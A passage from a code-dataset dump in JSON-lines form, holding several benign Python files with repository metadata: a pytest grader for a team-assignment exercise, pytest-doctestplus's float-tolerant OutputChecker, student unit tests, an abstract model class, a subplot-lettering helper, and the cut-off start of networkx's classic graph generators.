"max_line_length": 107, "alphanum_fraction": 0.6481171548, "include": true, "reason": "import numpy", "num_tokens": 3523, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295497638851, "lm_q2_score": 0.11436851561661297, "lm_q1q2_score": 0.05095455326983344}}
{"text": "\r\n'''test_choose_team.py\r\n\r\nUsage: \r\npython3 test_choose_team.py user1-user2-user3-a1/part3\r\n\r\nIt is not always possible to get the best solution so we will check whether the solution is below a threshold in order to pass the test case.\r\n\r\nFor final grading we will be using more complex test cases.\r\n'''\r\nimport pytest\r\nimport numpy as np\r\nimport assign\r\nimport time\r\nimport signal\r\ntime_ = 100\r\n\r\ndef handler(signum, frame):\r\n\traise Exception(\"timeout\")\r\n\r\ndef get_solution(test_file):\r\n\tresults = [[]]\r\n\ttry:\r\n\t\tfor i in assign.solver(test_file):\r\n\t\t\tresults.append([i['assigned-groups'],i['total-cost']])\r\n\texcept Exception:\r\n\t\treturn results\r\n\treturn results\r\n\r\ndef check_names(test_file,result):\r\n\tnames_ = [j for i in [i.split('-') for i in result[0]] for j in i]\r\n\tnames = set(names_)\r\n\twith  open(test_file,'r') as f:\r\n\t\toriginal_names = set()\r\n\t\tfor i in f.readlines():\r\n\t\t\toriginal_names.add(i.split()[0])\r\n\treturn (original_names==names and len(names)==len(original_names))\r\n\r\ndef check_solution(test_file,result,threshold = float('inf')):\r\n\tassert len(result) != 0, \"No solution yielded in {} seconds\".format(str(time_))\r\n\tassert result[-1] >= 0, \"Score cannot be negative\" \r\n\tassert check_names(test_file,result) == True, 'Everyone should be assigned to a team'\r\n\tassert type(result[1]) in (int,float), 'Cost should be of type int or float'\r\n\tassert result[1] <= threshold, 'The cost is incorrect, it could be better'\r\n\r\ndef test_case_1():\r\n\tsignal.signal(signal.SIGALRM, handler)\r\n\tsignal.alarm(time_)\r\n\ttest_file = 'test1.txt'\r\n\tcheck_solution(test_file,get_solution(test_file)[-1],10) \r\n\r\ndef test_case_2():\r\n\tsignal.signal(signal.SIGALRM, handler)\r\n\tsignal.alarm(time_)\r\n\ttest_file = 'test2.txt'\r\n\tcheck_solution(test_file,get_solution(test_file)[-1],15) \r\n\r\ndef test_case_3():\r\n\tsignal.signal(signal.SIGALRM, handler)\r\n\tsignal.alarm(time_)\r\n\ttest_file = 'test3.txt'\r\n\tcheck_solution(test_file,get_solution(test_file)[-1])  ## there is no threshold for this case. ", "meta": {"hexsha": "3ff0605fd66dbafe6ad190a30daaeae63136b2df", "size": 1982, "ext": "py", "lang": "Python", "max_stars_repo_path": "part3/test_a1p3.py", "max_stars_repo_name": "radhe2205/state-search", "max_stars_repo_head_hexsha": "90fc96c2b08bd6cf7c20be5ff39452705f8f3e1d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "part3/test_a1p3.py", "max_issues_repo_name": "radhe2205/state-search", "max_issues_repo_head_hexsha": "90fc96c2b08bd6cf7c20be5ff39452705f8f3e1d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "part3/test_a1p3.py", "max_forks_repo_name": "radhe2205/state-search", "max_forks_repo_head_hexsha": "90fc96c2b08bd6cf7c20be5ff39452705f8f3e1d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.9677419355, "max_line_length": 142, "alphanum_fraction": 0.7149344097, "include": true, "reason": "import numpy", "num_tokens": 481, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3629692055196168, "lm_q2_score": 0.14033625308549463, "lm_q1q2_score": 0.05093773828804186}}
{"text": "\"\"\"\nImplements a replacement for `doctest.OutputChecker` that handles certain\nnormalizations of Python expression output.  See the docstring on\n`OutputChecker` for more details.\n\"\"\"\n\nimport doctest\nimport re\nimport numpy as np\n\n\n# Much of this code, particularly the parts of floating point handling, is\n# borrowed from the SymPy project with permission.  See\n# licenses/SYMPY_LICENSE.rst for the full SymPy license.\n\n\nFIX = doctest.register_optionflag('FIX')\nFLOAT_CMP = doctest.register_optionflag('FLOAT_CMP')\nREMOTE_DATA = doctest.register_optionflag('REMOTE_DATA')\nIGNORE_OUTPUT = doctest.register_optionflag('IGNORE_OUTPUT')\nIGNORE_OUTPUT_3 = doctest.register_optionflag('IGNORE_OUTPUT_3')\nIGNORE_WARNINGS = doctest.register_optionflag('IGNORE_WARNINGS')\nSHOW_WARNINGS = doctest.register_optionflag('SHOW_WARNINGS')\n\n# These might appear in some doctests and are used in the default pytest\n# doctest plugin. This plugin doesn't actually implement these flags but this\n# allows them to appear in docstrings.\nALLOW_BYTES = doctest.register_optionflag('ALLOW_BYTES')\nALLOW_UNICODE = doctest.register_optionflag('ALLOW_UNICODE')\n\n\nclass OutputChecker(doctest.OutputChecker):\n    \"\"\"\n    - Removes u'' prefixes on string literals\n    - Ignores the 'L' suffix on long integers\n    - In Numpy dtype strings, removes the leading pipe, i.e. '|S9' ->\n      'S9'.  Numpy 1.7 no longer includes it in display.\n    - Supports the FLOAT_CMP flag, which parses floating point values\n      out of the output and compares their numerical values rather than their\n      string representation.  This naturally supports complex numbers as well\n      (simply by comparing their real and imaginary parts separately).\n    \"\"\"\n    rtol = 1e-05\n    atol = 1e-08\n\n    _original_output_checker = doctest.OutputChecker\n\n    _str_literal_re = re.compile(\n        r\"(\\W|^)[uU]([rR]?[\\'\\\"])\", re.UNICODE)\n    _byteorder_re = re.compile(\n        r\"([\\'\\\"])[|<>]([biufcSaUV][0-9]+)([\\'\\\"])\", re.UNICODE)\n    _fix_32bit_re = re.compile(\n        r\"([\\'\\\"])([iu])[48]([\\'\\\"])\", re.UNICODE)\n    _long_int_re = re.compile(\n        r\"([0-9]+)L\", re.UNICODE)\n\n    def __init__(self):\n        # NOTE OutputChecker is an old-style class with no __init__ method,\n        # so we can't call the base class version of __init__ here\n\n        exp = r'(?:e[+-]?\\d+)'\n\n        got_floats = (r'\\s*([+-]?\\d+\\.\\d*{0}?|'\n                      r'[+-]?\\.\\d+{0}?|'\n                      r'[+-]?\\d+{0}|'\n                      r'nan|'\n                      r'[+-]?inf)').format(exp)\n\n        # floats in the 'want' string may contain ellipses\n        want_floats = got_floats + r'(\\.{3})?'\n\n        front_sep = r'\\s|[*+-,<=(\\[]'\n        back_sep = front_sep + r'|[>j)\\]]'\n\n        fbeg = r'^{}(?={}|$)'.format(got_floats, back_sep)\n        fmidend = r'(?<={}){}(?={}|$)'.format(front_sep, got_floats, back_sep)\n        self.num_got_rgx = re.compile(r'({}|{})'.format(fbeg, fmidend))\n\n        fbeg = r'^{}(?={}|$)'.format(want_floats, back_sep)\n        fmidend = r'(?<={}){}(?={}|$)'.format(front_sep, want_floats, back_sep)\n        self.num_want_rgx = re.compile(r'({}|{})'.format(fbeg, fmidend))\n\n    def do_fixes(self, want, got):\n        want = re.sub(self._str_literal_re, r'\\1\\2', want)\n        want = re.sub(self._byteorder_re, r'\\1\\2\\3', want)\n        want = re.sub(self._fix_32bit_re, r'\\1\\2\\3', want)\n        want = re.sub(self._long_int_re, r'\\1', want)\n\n        got = re.sub(self._str_literal_re, r'\\1\\2', got)\n        got = re.sub(self._byteorder_re, r'\\1\\2\\3', got)\n        got = re.sub(self._fix_32bit_re, r'\\1\\2\\3', got)\n        got = re.sub(self._long_int_re, r'\\1', got)\n\n        return want, got\n\n    def find_numbers(self, text):\n        \"\"\"\n        check git user\n        Find float strings in text.\n        >>> OutputChecker().find_numbers(\"1.1 foo abr 2.22\")\n        ['1.1', '2.22']\n        \"\"\"\n        matches = self.num_want_rgx.finditer(text)\n        return [match.group(1) for match in matches]\n\n    def equal_floats(self, a, b):\n        \"\"\"\n        Compare float strings.\n        >>> OutputChecker().equal_floats('1.1', '1.10000000001')\n        True\n        >>> OutputChecker().equal_floats('1.1', '1.11')\n        False\n        \"\"\"\n        a, b = float(a), float(b)\n        return np.allclose(a, b, rtol=self.rtol, atol=self.atol, equal_nan=True)\n\n    def startswith(self, arr, prefix):\n        \"\"\"\n        Check if array of str/floats starts with floats in prefix.\n        >>> OutputChecker().startswith(['1', '2', '3'], ['1', '2.00000000001'])\n        True\n        >>> OutputChecker().startswith(['1', '2', '3'], ['1', '2.1'])\n        False\n        \"\"\"\n        if len(prefix) == 0:\n            return True\n        if len(arr) < len(prefix):\n            return False\n        return np.allclose(arr, prefix, rtol=self.rtol, atol=self.atol, equal_nan=True)\n\n    def endswith(self, arr, postfix):\n        \"\"\"\n        Check if array of str/floats ends with floats in postfix.\n        >>> OutputChecker().endswith(['1', '2', '3'], ['2', '3.00000000001'])\n        True\n        >>> OutputChecker().endswith(['1', '2', '3'], ['2', '3.1'])\n        False\n        \"\"\"\n        return self.startswith(arr[::-1], postfix[::-1])\n\n    def find(self, arr, suffix, start, end):\n        \"\"\"\n        Search for floats from suffix in arr.\n        >>> OutputChecker().find(['1', '2', '3', '4'], ['2', '3.00000000001'], 0, 4)\n        1\n        >>> OutputChecker().find(['1', '2', '3', '4'], ['2', '3.1'], 0, 4)\n        -1\n        \"\"\"\n        if len(suffix) == 0:\n            return start\n        arr = arr[start:end]\n        for i, a in enumerate(arr):\n            # if current floats match...\n            if self.equal_floats(a, suffix[0]):\n                # ... then compare the rest of numbers from suffix\n                if self.startswith(arr[i:], suffix):\n                    return start + i\n        return -1\n\n    def partial_match(self, arr, chunks):\n        \"\"\"\n        Check that each chunk in chunks is inside provided array of strings/floats.\n        This is essentially list-with-floats equivalent of ellipsis matching.\n        >>> OutputChecker().partial_match(\n        ...   ['1', '2', '3', '4'],\n        ...   [['1', '2'], ['4']],\n        ... )\n        True\n        >>> OutputChecker().partial_match(\n        ...   ['1', '2', '3', '4'],\n        ...   [['1', '2'], []],\n        ... )\n        True\n        >>> OutputChecker().partial_match(\n        ...   ['1', '2', '3', '4'],\n        ...   [['1', '2'], ['5']],\n        ... )\n        False\n        \"\"\"\n        assert len(chunks) >= 2\n        startpos, endpos = 0, len(arr)\n        chunk = chunks[0]\n        if chunk:  # starts with exact match\n            if self.startswith(arr, chunk):\n                startpos = len(chunk)\n                del chunks[0]\n            else:\n                return False\n        chunk = chunks[-1]\n        if chunk:  # ends with exact match\n            if self.endswith(arr, chunk):\n                endpos -= len(chunk)\n                del chunks[-1]\n            else:\n                return False\n\n        if startpos > endpos:\n            return False\n\n        for chunk in chunks:\n            startpos = self.find(arr, chunk, startpos, endpos)\n            if startpos < 0:\n                return False\n            startpos += len(chunk)\n\n        return True\n\n    def normalize_floats(self, want, got, flags):\n        \"\"\"\n        Alternative to the built-in check_output that also handles parsing\n        float values and comparing their numeric values rather than their\n        string representations.\n\n        This requires rewriting enough of the basic check_output that, when\n        FLOAT_CMP is enabled, it totally takes over for check_output.\n        \"\"\"\n\n        # <BLANKLINE> can be used as a special sequence to signify a\n        # blank line, unless the DONT_ACCEPT_BLANKLINE flag is used.\n        if not (flags & doctest.DONT_ACCEPT_BLANKLINE):\n            # Replace <BLANKLINE> in want with a blank line.\n            want = re.sub(r'(?m)^{}\\s*?$'.format(re.escape(doctest.BLANKLINE_MARKER)),\n                          '', want)\n            # If a line in got contains only spaces, then remove the\n            # spaces.\n            got = re.sub(r'(?m)^\\s*?$', '', got)\n\n        # This flag causes doctest to ignore any differences in the\n        # contents of whitespace strings. Note that this can be used\n        # in conjunction with the ELLIPSIS flag.\n        if flags & doctest.NORMALIZE_WHITESPACE:\n            got = ' '.join(got.split())\n            want = ' '.join(want.split())\n\n        # Handle the common case first, for efficiency:\n        # if they're string-identical, always return true.\n        if got == want:\n            return True\n\n        got_ = self.num_got_rgx.sub('0.0', got)\n        want_ = self.num_got_rgx.sub('0.0', want)\n        # fail if strings with ellipsis and normalize floats are not equal\n        if flags & doctest.ELLIPSIS:\n            if not doctest._ellipsis_match(want_, got_):\n                return False\n        else:\n            if not got_ == want_:\n                return False\n\n        # at this point we made sure that non-float parts of strings are equivalent\n        # so now we need to compare each number\n\n        numbers_got = self.find_numbers(got)\n        numbers_want_chunks = [\n            self.find_numbers(chunk)\n            for chunk in want.split(doctest.ELLIPSIS_MARKER)\n        ]\n        if flags & doctest.ELLIPSIS and len(numbers_want_chunks) >= 2:\n            return self.partial_match(numbers_got, numbers_want_chunks)\n\n        # TODO parse integers as well ?\n        # Parse floats and compare them.\n        numbers_want = [f for chunk in numbers_want_chunks for f in chunk]  # flatten array\n        if len(numbers_got) != len(numbers_want):\n            return False\n        for ng, nw in zip(numbers_got, numbers_want):\n            if not self.equal_floats(ng, nw):\n                return False\n\n        return True\n\n    def check_output(self, want, got, flags):\n        if ((flags & IGNORE_OUTPUT) or (flags & IGNORE_OUTPUT_3)):\n            return True\n\n        if flags & FIX:\n            want, got = self.do_fixes(want, got)\n\n        if flags & FLOAT_CMP:\n            return self.normalize_floats(want, got, flags)\n\n        # Can't use super here because doctest.OutputChecker is not a\n        # new-style class.\n        if self._original_output_checker.check_output(self, want, got, flags):\n            return True\n\n        try:\n            return self._do_check(want, got)\n        except (TypeError, ValueError):\n            return False\n\n    def _do_check(self, want, got):\n        # This should be done exactly as written to correctly handle all of\n        # numpy-comparable objects, strings, and heterogeneous tuples\n        try:\n            if want == got:\n                return True\n        except Exception:\n            pass\n        return np.allclose(want, got, atol=self.atol, rtol=self.rtol)\n\n    def output_difference(self, want, got, flags):\n        if flags & FIX:\n            want, got = self.do_fixes(want, got)\n\n        # Can't use super here because doctest.OutputChecker is not a\n        # new-style class.\n        return self._original_output_checker.output_difference(\n            self, want, got, flags)\n", "meta": {"hexsha": "d554615cc97b6b060c71a068e1bd5bc47047dbf7", "size": 11265, "ext": "py", "lang": "Python", "max_stars_repo_path": "pytest_doctestplus/output_checker.py", "max_stars_repo_name": "esbazhin/pytest-doctestplus", "max_stars_repo_head_hexsha": "63defee1e947dcd9c655ad06bfd57ace7d4377e6", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pytest_doctestplus/output_checker.py", "max_issues_repo_name": "esbazhin/pytest-doctestplus", "max_issues_repo_head_hexsha": "63defee1e947dcd9c655ad06bfd57ace7d4377e6", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pytest_doctestplus/output_checker.py", "max_forks_repo_name": "esbazhin/pytest-doctestplus", "max_forks_repo_head_hexsha": "63defee1e947dcd9c655ad06bfd57ace7d4377e6", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.3387096774, "max_line_length": 91, "alphanum_fraction": 0.5701731025, "include": true, "reason": "import numpy", "num_tokens": 2876, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.34864513533394575, "lm_q2_score": 0.14608724518943894, "lm_q1q2_score": 0.05093260736963526}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 30 17:02:59 2019\n\n@author: bebert\n\"\"\"\n\nimport pytest\nimport S1_algotools as S1\nimport numpy as np\n\ndef inc_(x):\n    return x+1\n\ndef test_inc():\n    assert inc_(3)==4\n    \n\ndef test_divide_by_zero():\n    with pytest.raises(ZeroDivisionError):\n        1/0\n        \n        \n#################################### \n## Tests unitaires pour l'exercice 1\n####################################\n        \n## On teste si la moyenne est bien r\u00e9alis\u00e9e\ndef test_ex1_1():\n    tab = [1,2,3,4]\n    assert S1.average_above_zero(tab) == 2.5\n    \n## On teste les nombres n\u00e9gatifs\ndef test_ex1_2():\n    tab = [-1,-2,-3,-4]\n    with pytest.raises(ZeroDivisionError):    \n        assert S1.average_above_zero(tab)\n\n## On teste la fonction en ne lui passant pas de liste\ndef test_ex1_3():\n   with pytest.raises(ValueError):\n       S1.average_above_zero([\"YO\", \"31\"])\n       \n     \n#####################################\n## Tests unitaires pour l'exercice 2   \n#####################################\n       \n## On teste si la fonction fonctionne correctement\ndef test_ex2_1():\n    tab=[1,2,3,89,5,6,7]\n    assert S1.max_value(tab)==(89,3)\n    \n## On teste la fonction en ne lui passant pas de liste\ndef test_ex2_2():\n    with pytest.raises(TypeError):\n        S1.max_value(\"YO\")\n        \n        \n####################################\n## Tests unitaires pour l'exercice 3\n####################################\n    \n## On teste si la fonction fonctionne correctement\ndef test_ex3_1():\n    tab=[1,2,3,4,5]\n    assert S1.reverse_table2(tab) == [5,4,3,2,1]\n    \n## On teste s'il ne s'agit pas d'une liste\ndef test_ex3_2():\n    with pytest.raises(TypeError):\n        S1.reverse_table2(\"YO\")\n    \n\n####################################\n## Tests unitaire pour l'exercice 4\n####################################\n        \n## On teste  la fonction en lui passant une cha\u00eene de caract\u00e8re au lieu d'une \n## liste\ndef test_ex4_1():\n     with pytest.raises(TypeError):\n        S1.roi_bbox(\"YO\")\n        \n###################################\n## Tests unitaire pour l'exercice 5\n###################################\n\n## On test le bon fonctionnement de la fonction\ndef test_ex5_1():\n    tab = np.ones((10,10), dtype=np.chararray)\n    tab *= ' '\n    tabF = S1.random_full_sparse(tab,3)\n    assert len(np.argwhere(tabF=='X')) == 3  \n    \n## On passe une cha\u00eene de caract\u00e8re en param\u00e8tre\ndef test_ex5_2():\n    tab = np.array([1,2,3,4])\n    with pytest.raises(TypeError):\n        S1.random_full_sparse(tab,\"YO\")\n       \n       \n       \n    ", "meta": {"hexsha": "d7e949b671564b14879f62c123e89af1170be572", "size": 2532, "ext": "py", "lang": "Python", "max_stars_repo_path": "S2_test.py", "max_stars_repo_name": "Thiebault73/BachelorDIM-Lectures-Algorithms-2019", "max_stars_repo_head_hexsha": "990653d36bc4013207991d0fe2a8c21b126a55a8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "S2_test.py", "max_issues_repo_name": "Thiebault73/BachelorDIM-Lectures-Algorithms-2019", "max_issues_repo_head_hexsha": "990653d36bc4013207991d0fe2a8c21b126a55a8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "S2_test.py", "max_forks_repo_name": "Thiebault73/BachelorDIM-Lectures-Algorithms-2019", "max_forks_repo_head_hexsha": "990653d36bc4013207991d0fe2a8c21b126a55a8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.3461538462, "max_line_length": 78, "alphanum_fraction": 0.532385466, "include": true, "reason": "import numpy", "num_tokens": 658, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.29746993014852224, "lm_q2_score": 0.1710611980175054, "lm_q1q2_score": 0.05088556262538987}}
{"text": "import numpy as np\r\nimport abc\r\n\r\n\r\nclass Model(metaclass=abc.ABCMeta):\r\n\r\n    ## Model Tools\r\n    @abc.abstractmethod\r\n    def getPrediction(self, x):\r\n        pass\r\n\r\n\r\n    @abc.abstractmethod\r\n    def updateParameters(self, x_batch, z_batch, batch_size, lr):\r\n        pass\r\n    \r\n\r\n    @abc.abstractmethod\r\n    def resetWeights(self):\r\n        pass\r\n\r\n\r\n    @abc.abstractmethod\r\n    def getWeights(self):\r\n        pass\r\n", "meta": {"hexsha": "7c65623581ff499bfb78a0857ed84d075d78684b", "size": 423, "ext": "py", "lang": "Python", "max_stars_repo_path": "Src/Model.py", "max_stars_repo_name": "denisuzhva/ML_task2", "max_stars_repo_head_hexsha": "49220c370256be66a7e3eb98ae069259aa2f48fc", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Src/Model.py", "max_issues_repo_name": "denisuzhva/ML_task2", "max_issues_repo_head_hexsha": "49220c370256be66a7e3eb98ae069259aa2f48fc", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Src/Model.py", "max_forks_repo_name": "denisuzhva/ML_task2", "max_forks_repo_head_hexsha": "49220c370256be66a7e3eb98ae069259aa2f48fc", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 16.2692307692, "max_line_length": 66, "alphanum_fraction": 0.598108747, "include": true, "reason": "import numpy", "num_tokens": 98, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.37754066879814546, "lm_q2_score": 0.13477591221002244, "lm_q1q2_score": 0.05088338803365201}}
{"text": "import os\r\nimport numpy as np\r\n\r\n\r\ndef openfiletest():\r\n    user_input = input(\"Enter the path of your file: \")\r\n\r\n    assert os.path.exists(user_input), \"I did not find the file at, \" + str(user_input)\r\n    f = open(user_input, 'r+')\r\n\r\n    print(\"File found!\")\r\n    file = np.loadtxt(f, dtype=np.int32)\r\n    return file\r\n", "meta": {"hexsha": "c8c828a15b49e4c1285969fefa96b649dffa6635", "size": 323, "ext": "py", "lang": "Python", "max_stars_repo_path": "RaschModelV2/Utils/openfile.py", "max_stars_repo_name": "ahthaide/Rasch_Model", "max_stars_repo_head_hexsha": "87a7886b8f7778cf4fd9948514ca94087ee380df", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "RaschModelV2/Utils/openfile.py", "max_issues_repo_name": "ahthaide/Rasch_Model", "max_issues_repo_head_hexsha": "87a7886b8f7778cf4fd9948514ca94087ee380df", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 5, "max_issues_repo_issues_event_min_datetime": "2020-09-26T00:57:43.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-10T01:47:09.000Z", "max_forks_repo_path": "RaschModelV2/Utils/openfile.py", "max_forks_repo_name": "ahthaide/Rasch_Model", "max_forks_repo_head_hexsha": "87a7886b8f7778cf4fd9948514ca94087ee380df", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2020-07-31T04:55:28.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-06T22:15:18.000Z", "avg_line_length": 23.0714285714, "max_line_length": 88, "alphanum_fraction": 0.6253869969, "include": true, "reason": "import numpy", "num_tokens": 84, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.37754066879814546, "lm_q2_score": 0.13477590699708825, "lm_q1q2_score": 0.05088338606555735}}
{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# letter_subplots.py\n# Jim Bagrow\n# Last Modified: 2021-05-07\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef letter_subplots(axes=None, letters=None, xoffset=-0.1, yoffset=1.0, **kwargs):\n    \"\"\"Add letters to the corners of subplots (panels). By default each axis is\n    given an uppercase bold letter label placed in the upper-left corner.\n    Args\n        axes : list of pyplot ax objects. default plt.gcf().axes.\n        letters : list of strings to use as labels, default [\"A\", \"B\", \"C\", ...]\n        xoffset, yoffset : positions of each label relative to plot frame\n          (default -0.1,1.0 = upper left margin). Can also be a list of\n          offsets, in which case it should be the same length as the number of\n          axes.\n        Other keyword arguments will be passed to annotate() when panel letters\n        are added.\n    Returns:\n        list of strings for each label added to the axes\n    Examples:\n        Defaults:\n            >>> fig, axes = plt.subplots(1,3)\n            >>> letter_subplots() # boldfaced A, B, C\n        \n        Common labeling schemes inferred from the first letter:\n            >>> fig, axes = plt.subplots(1,4)        \n            >>> letter_subplots(letters='(a)') # panels labeled (a), (b), (c), (d)\n        Fully custom lettering:\n            >>> fig, axes = plt.subplots(2,1)\n            >>> letter_subplots(axes, letters=['(a.1)', '(b.2)'], fontweight='normal')\n        Per-axis offsets:\n            >>> fig, axes = plt.subplots(1,2)\n            >>> letter_subplots(axes, xoffset=[-0.1, -0.15])\n            \n        Matrix of axes:\n            >>> fig, axes = plt.subplots(2,2, sharex=True, sharey=True)\n            >>> letter_subplots(fig.axes) # fig.axes is a list when axes is a 2x2 matrix\n    \"\"\"\n\n    # get axes:\n    if axes is None:\n        axes = plt.gcf().axes\n    # handle single axes:\n    try:\n        iter(axes)\n    except TypeError:\n        axes = [axes]\n\n    # set up letter defaults (and corresponding fontweight):\n    fontweight = \"bold\"\n    ulets = list('ABCDEFGHIJKLMNOPQRSTUVWXYZ'[:len(axes)])\n    llets = list('abcdefghijklmnopqrstuvwxyz'[:len(axes)])\n    if letters is None or letters == \"A\":\n        letters = ulets\n    elif letters == \"(a)\":\n        letters = [ \"({})\".format(lett) for lett in llets ]\n        fontweight = \"normal\"\n    elif letters == \"(A)\":\n        letters = [ \"({})\".format(lett) for lett in ulets ]\n        fontweight = \"normal\"\n    elif letters in (\"lower\", \"lowercase\", \"a\"):\n        letters = llets\n\n    # make sure there are x and y offsets for each ax in axes:\n    if isinstance(xoffset, (int, float)):\n        xoffset = [xoffset]*len(axes)\n    else:\n        assert len(xoffset) == len(axes)\n    if isinstance(yoffset, (int, float)):\n        yoffset = [yoffset]*len(axes)\n    else:\n        assert len(yoffset) == len(axes)\n\n    # defaults for annotate (kwargs is second so it can overwrite these defaults):\n    my_defaults = dict(fontweight=fontweight, fontsize='large', ha=\"center\",\n                       va='center', xycoords='axes fraction', annotation_clip=False)\n    kwargs = dict( list(my_defaults.items()) + list(kwargs.items()))\n\n    list_txts = []\n    for ax,lbl,xoff,yoff in zip(axes,letters,xoffset,yoffset):\n        t = ax.annotate(lbl, xy=(xoff,yoff), **kwargs)\n        list_txts.append(t)\n    return list_txts\n\n\nif __name__ == '__main__':\n    x1 = np.random.randn(100,)\n    y1 = x1 + 0.1*np.random.randn(100,)\n    y2 = np.sin(x1) + 0.1*np.random.randn(100,)\n\n    fig,axes = plt.subplots(1,2, figsize=(6.4*1.67,4.8))\n    axes[0].plot(x1,y1, 'o')\n    axes[1].plot(x1,y2, 'o')\n\n    axes[0].set_xlabel(\"$x$\")\n    axes[1].set_xlabel(\"$x$\")\n    axes[0].set_ylabel(\"$y_1$\")\n    axes[1].set_ylabel(\"$y_2$\")\n\n    #letter_subplots() # bold upper-case, like Science uses\n    #letter_subplots(letters=\"a\"), # bold lowercase, like Nature uses\n    letter_subplots(letters=\"(a)\") # parenthetical letters, like many math and eng venues use\n\n    plt.tight_layout()\n    plt.show()", "meta": {"hexsha": "22959d09ca3e18286d3ad6c9d86eca5cfb11faac", "size": 4035, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/letter_subplots.py", "max_stars_repo_name": "tsawi/Unsupervised_ML_Gornergletscher", "max_stars_repo_head_hexsha": "cdf9d5f7396e0f673cd454da8106376b81dfe938", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebooks/letter_subplots.py", "max_issues_repo_name": "tsawi/Unsupervised_ML_Gornergletscher", "max_issues_repo_head_hexsha": "cdf9d5f7396e0f673cd454da8106376b81dfe938", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/letter_subplots.py", "max_forks_repo_name": "tsawi/Unsupervised_ML_Gornergletscher", "max_forks_repo_head_hexsha": "cdf9d5f7396e0f673cd454da8106376b81dfe938", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.3513513514, "max_line_length": 93, "alphanum_fraction": 0.5980173482, "include": true, "reason": "import numpy", "num_tokens": 1089, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.334589441253186, "lm_q2_score": 0.1520322435432087, "lm_q1q2_score": 0.0508683834195905}}
{"text": "\"\"\"\nGenerators for some classic graphs.\n\nThe typical graph generator is called as follows:\n\n>>> G=nx.complete_graph(100)\n\nreturning the complete graph on n nodes labeled 0,..,99\nas a simple graph. Except for empty_graph, all the generators\nin this module return a Graph class (i.e. a simple, undirected graph).\n\n\"\"\"\n#    Copyright (C) 2004-2010 by\n#    Aric Hagberg <hagberg@lanl.gov>\n#    Dan Schult <dschult@colgate.edu>\n#    Pieter Swart <swart@lanl.gov>\n#    All rights reserved.\n#    BSD license.\nimport itertools\nfrom networkx.algorithms.bipartite.generators import complete_bipartite_graph\n__author__ =\"\"\"Aric Hagberg (hagberg@lanl.gov)\\nPieter Swart (swart@lanl.gov)\"\"\"\n\n__all__ = [ 'balanced_tree',\n            'barbell_graph',\n            'complete_graph',\n            'circular_ladder_graph',\n            'cycle_graph',\n            'dorogovtsev_goltsev_mendes_graph',\n            'empty_graph',\n            'full_rary_tree',\n            'grid_graph',\n            'grid_2d_graph',\n            'hypercube_graph',\n            'ladder_graph',\n            'lollipop_graph',\n            'null_graph',\n            'path_graph',\n            'star_graph',\n            'trivial_graph',\n            'wheel_graph']\n\n\n#-------------------------------------------------------------------\n#   Some Classic 